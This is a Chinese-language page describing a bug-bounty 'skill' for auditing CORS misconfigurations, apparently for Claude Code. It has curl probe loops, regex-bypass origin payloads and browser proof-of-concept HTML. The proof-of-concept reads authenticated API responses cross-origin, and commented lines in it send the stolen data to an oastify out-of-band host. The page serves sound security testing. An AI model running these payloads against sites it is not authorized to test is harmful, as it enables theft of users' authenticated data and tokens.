关于 hunt-cors
hunt-cors 是面向安全测试人员的 CORS 配置审计技能,提供从端点发现到浏览器验证的分阶段方法。它强调只有浏览器能读取经过身份验证的敏感响应,才构成有效影响证明。
主要功能
- 01发现带 CORS 响应头的端点
- 02检查来源反射与凭据配置
- 03测试可信来源正则绕过
- 04验证预检请求与消息来源检查
- 05用真实浏览器验证读取影响
适用场景
- 01审计 API 的跨域读取风险
- 02验证来源白名单正则缺陷
- 03检查预检请求是否允许跨域写入
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cors安装后在 Claude Code 中输入/hunt-cors确认已加载。
详细介绍
HUNT-CORS — 跨源资源共享配置错误
哪些情况确实有价值,哪些没有
只有当攻击者控制的源能够携带凭据跨源读取敏感的已认证数据,并且你有浏览器 PoC 证明响应正文可从 evil.com 读取时,CORS 才能评为 High。
两条会让大多数“发现”无效的浏览器硬性规则——请先检查:
Access-Control-Allow-Origin: *不能与凭据搭配使用。 如果服务器返回ACAO: *,浏览器会拒绝为credentials: include请求发送或公开响应。仅设置通配符的端点无法利用凭据进行攻击。只有当其提供的数据无需会话即可访问且敏感时(这种情况很少见),才值得关注——通常属于 Informational/Low。- 单独设置
Access-Control-Allow-Credentials: true没有意义。 只有当ACAO反射/允许你的特定攻击者源,并且跨源携带凭据的fetch确实返回了可读取的正文时,它才有意义。响应中的 ACAC 若未反射你的源,不能证明任何问题。
如果你无法在真实浏览器中证明可以跨源读取已认证的响应正文,就不能评为 High。不要只提交响应头差异。
核心目标
- 反射任意源 + 凭据 — 服务器回显
Origin标头并设置ACAC: true→ 任意网站都能读取已认证的 API 响应。这是经典的 High。 - 信任 null 源 —
ACAO: null+ACAC: true。sandboxiframe(或data:/重定向链)会发送Origin: null,因此任意页面都能读取已认证数据。 - 子域名正则绕过 — 受信任源的正则表达式存在解析缺陷。具体载荷取决于缺陷类型(参见第 3 阶段——大多数技能在这里都会出错)。
- 接管子域名 → 受信任源 — CORS 策略信任一个悬空子域名;接管它并在其上托管 PoC(参见 hunt-subdomain)。
- postMessage 缺少/未严格检查源 — 处理
event.data,却未严格验证event.origin的处理程序。
攻击面信号
Any endpoint returning an Access-Control-Allow-Origin header
API endpoints: /api/*, /v1/*, /graphql
Profile/account: /api/me, /api/profile, /api/user, /api/session
Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings
Financial: /api/balance, /api/transactions
Admin/internal: /api/admin/*, /api/internal/*
优先检查需要会话 Cookie,且会在响应正文中返回 PII、令牌、CSRF 令牌或其他机密信息的端点。
分步漏洞搜寻方法
阶段 1 — 发现 CORS 端点
# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,
# and -I sends HEAD which may be handled differently.
while read url; do
result=$(curl -s -D - -o /dev/null "$url" \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
[ -n "$result" ] && echo "=== $url ===" && echo "$result"
done < recon/$TARGET/api-endpoints.txt
# httpx bulk check
cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \
httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin"
阶段 2 — 反射任意源 + null 源
# Does the server reflect an arbitrary Origin back?
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: https://evil.com" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case):
# Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin
# Access-Control-Allow-Credentials: true <- + credentials => readable
#
# NOT exploitable for credentialed theft:
# Access-Control-Allow-Origin: * <- browser blocks creds read
# (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust
curl -s -D - -o /dev/null https://$TARGET/api/me \
-H "Origin: null" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Looking for: Access-Control-Allow-Origin: null + ACAC: true
阶段 3 — 子域名/可信来源正则表达式绕过
具体使用哪种载荷,取决于服务器存在哪种正则表达式缺陷。先确定缺陷类型,再发送匹配的载荷。如果判断错误,会浪费测试机会并造成假阴性。
服务器正则表达式(预期:信任 *.target.com) | 缺陷 | 匹配的绕过来源 | 原因 |
|---|---|---|---|
^https?://.*\.target\.com$ | 无 — 点已转义,并且有结束锚点。配置正确。 | (没有简单的绕过方法) | 按设计,evil.target.com 属于范围内;x.target.com.evil.com 以 .evil.com 结尾,不满足 $。继续测试,或查找子域名接管漏洞。 |
^https?://.*target\.com$ | 缺少点分隔符(target 前没有 \.) | https://eviltarget.com | .*target\.com$ 会匹配 eviltarget.com — 攻击者可以注册 eviltarget.com。 |
^https?://.*\.target\.com | 缺少结束锚点 $ | https://x.target.com.evil.com | 正则表达式会匹配前缀;出现 .target.com 后,.evil.com 会被忽略(没有 $)。 |
^https?://target\.com | 仅匹配前缀,没有 $ | https://target.com.evil.com | 匹配 target.com 前缀;其余部分不受约束。 |
^https?://.*\.target\.com$,但正则表达式中的点未转义(.*.target.com$) | 未转义的点 = “任意字符” | 类似 https://xtargetXcom...,或 https://evilZtargetZcom,其中 Z 可以是任意单个字符 | . 会匹配任意字符,从而扩大匹配范围。 |
| 上述任意一种 | 浏览器在 Origin 中发送的特殊字符 | https://target.com%60.evil.com、https://target.com\x60evil.com | 某些解析器会将反引号/下划线视为字母;Safari/旧版浏览器可能会发送异常来源。请确认浏览器确实发送了该来源。 |
# Send each class-specific payload and watch what the server reflects.
for ORIGIN in \
"https://evil.target.com" \
"https://eviltarget.com" \
"https://x.target.com.evil.com" \
"https://target.com.evil.com" \
"https://target.com%60.evil.com" \
"http://target.com"; do
RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \
-H "Origin: $ORIGIN" \
-H "Cookie: $SESSION_COOKIE" | grep -i "access-control")
echo "[$ORIGIN] -> ${RESULT:-no CORS}"
done
只有当服务器将你可注册的来源反射到 ACAO,且 ACAC: true 时,绕过才算真实。反射回 evil.target.com 不算漏洞,除非你确实能控制 *.target.com 主机(这种情况请参阅阶段 6/hunt-subdomain)。
阶段 3b — 受信任的不安全(HTTP)来源
如果 ACAO 反射/允许任意 http:// 来源(即使来源在范围内且锚定正确),那么位于该明文主机上的网络攻击者就能注入页面,读取已认证的跨源响应正文 — 无需正则表达式缺陷,明文协议本身就是缺陷。
curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control
只有在中间人攻击者能够占据该 http 来源时(且未预加载 HSTS),这才算真实漏洞。与 hunt-tls-network 配合使用。(PortSwigger:使用受信任的不安全协议的 CORS。)
阶段 4 — 预检(OPTIONS)门控绕过
非简单请求(自定义标头、PUT/DELETE/PATCH、非简单
Content-Type)会触发 CORS 预检 OPTIONS 请求。只有预检响应允许相应方法/标头时,浏览器才会发送实际请求。需要测试两点:
- 预检是否允许你的来源使用任意方法/标头?
如果
Access-Control-Allow-Methods/Access-Control-Allow-Headers会反射 你请求的内容,恶意来源就能发起更改状态的请求 (可进一步利用 CSRF 式写入,而这些写入通常会被 JSON/SameSite 阻止)。
curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: x-custom-auth, content-type" \
| grep -i "access-control"
# Vulnerable: ACAO reflects evil.com + ACAC:true +
# Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth
# => attacker origin can issue authed PUT/DELETE with custom headers.
- 服务器端是否实际执行了预检? 某些服务器会在
OPTIONS上反射 来源,但实际的 GET/POST 也会反射 — 读取路径本身才是漏洞;预检只是确认写入路径可达。也要直接测试 GET/POST — 切勿假定预检结果与实际请求结果相同。请在浏览器中确认,因为 curl 会完全忽略 CORS。
阶段 5 — 浏览器 PoC(唯一能证明影响的方式)
curl 不会强制执行 CORS——即使浏览器会阻止读取,它也会照样显示反射的响应头。每个 CORS 高危问题都需要浏览器 PoC。
5a. 反射任意来源并读取(托管在 evil.com 上,并在登录目标站点后打开):
<!doctype html><body><pre id="out"></pre>
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => {
document.getElementById("out").innerText = d; // prove readable body
// OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d));
})
.catch(e => document.getElementById("out").innerText = "BLOCKED: " + e);
</script></body>
如果看到 BLOCKED / TypeError,说明浏览器拒绝了读取——无论 curl 显示了什么,这都不是有效发现(这是 ACAO: * + 凭据的情况)。
5b. Null 来源读取——sandbox iframe 会发送 Origin: null。内部文档必须不包含 allow-same-origin,这样其来源才是不透明的(null):
<!doctype html><body>
<iframe sandbox="allow-scripts" srcdoc='
<script>
fetch("https://TARGET/api/me", {credentials: "include"})
.then(r => r.text())
.then(d => parent.postMessage(d, "*"));
</script>'></iframe>
<script>
window.addEventListener("message", e => {
// d is the authed body, read cross-origin via a null Origin
// fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data));
console.log("NULL-ORIGIN READ:", e.data);
});
</script></body>
(其他生成 null 来源的方式:data: / blob: 文档,或通过最终跳转跨协议的 302 重定向链来转发请求。)
5c. 受信任子域读取——控制一个正则表达式信任的主机后(通过接管获得真实子域,或使用符合阶段 3 中有缺陷正则表达式的可注册来源),将 5a 托管在该主机上。反射的来源现在是你合法托管的来源,因此浏览器会允许读取。
阶段 6 — postMessage 来源检查
# Find message handlers that don't strictly validate event.origin.
grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \
| grep -v "\.origin"
# Then audit each hit: does it check event.origin against an allowlist
# BEFORE using event.data? Weak checks to flag:
# .indexOf("target.com") > -1 <- "target.com.evil.com" passes
# .endsWith("target.com") <- "eviltarget.com" passes
# startsWith("https://target") <- "https://target.evil.com" passes
# no check at all
postMessage 与 HTTP CORS 属于不同类型的问题——影响发生在 DOM 端(XSS、客户端身份验证绕过)。有关利用细节,请参阅 hunt-dom。
自动化(仅用于分流——绝不能作为证明)
# corsy — fast reflection/null/pre-domain checks
pip3 install corsy
corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates
nuclei -u https://$TARGET -t http/misconfiguration/cors/
# Burp: passively flags origin reflection; always re-confirm in a real browser.
每个自动化命中都只是线索,不是发现。在浏览器中复现 5a/5b。
漏洞链表
| CORS 发现 | 漏洞链到 | 影响 |
|---|---|---|
| 反射攻击者来源 + 凭据 | 浏览器读取 /api/me、/api/tokens、/api/csrf | 窃取 PII + 令牌 + CSRF 令牌 → 通常可导致 ATO |
| 反射来源 + 读取 CSRF 令牌 | hunt-csrf:窃取令牌 → 伪造状态变更 | 针对受 CSRF 保护表单的 CSRF |
| 预检允许任意方法/请求头 | 从 evil 来源发起经过身份验证的 PUT/DELETE | 跨来源状态变更 |
| 受信任子域存在 XSS | hunt-xss → 从受信任来源运行 5a | 稳定读取带凭据的内容 |
| 悬空的受信任子域 | hunt-subdomain takeover → 在该处托管 5c | 完全读取带凭据的内容 |
| postMessage 没有/来源检查宽松 | hunt-dom:注入 iframe,发送精心构造的消息 | DOM XSS / 客户端身份验证绕过 |
验证规范(提交前阅读)
- 必须提供浏览器证明。 curl 反射响应头不等于利用成功。展示从 evil.com 读取经身份验证响应正文的截图/控制台日志。如果 fetch 抛出异常 / 记录
BLOCKED,则没有有效发现。 ACAO: *+ 凭据 = 不构成发现。 浏览器会阻止此情况。只有当未经过身份验证即可访问的数据是敏感数据时,才追查通配符(此时通常为低危)。ACAC: true单独不能证明任何问题——它必须与反射的来源配合,并且成功读取跨来源响应正文。- 根据载荷匹配正则表达式类型(阶段 3)。 不要用
target.com.evil.com去测试以转义点和结尾锚点收尾的正则表达式——它不匹配,也不是漏洞。 - 反射
evil.target.com不会自动构成漏洞——按设计,它属于范围内子域,除非你确实能够控制它。 - 盲测/无头环境需进行带外(OOB)确认:将读取的响应正文外传至 Burp Collaborator / oastify 主机,并展示交互记录。每次测试使用唯一标记,确保命中记录明确属于你。
- 敏感数据要求。 能读取
/api/health不构成高危问题。要证明严重性,必须将读取内容与 PII、令牌、机密或财务数据关联起来。
严重性:
- 反射攻击者来源 + 凭据 + 敏感响应正文,且有浏览器证明:高危
- 预检授权攻击者来源对敏感操作进行状态变更:高危
- Null 来源 + 敏感的经身份验证响应正文,且有浏览器证明:中危–高危
- 借助子域接管/XSS 实现的带凭据读取:高危/严重
- 反射来源,无凭据 / 数据不敏感:低危–信息性
- 仅有
ACAO: *(无法使用凭据):信息性,除非数据属于机密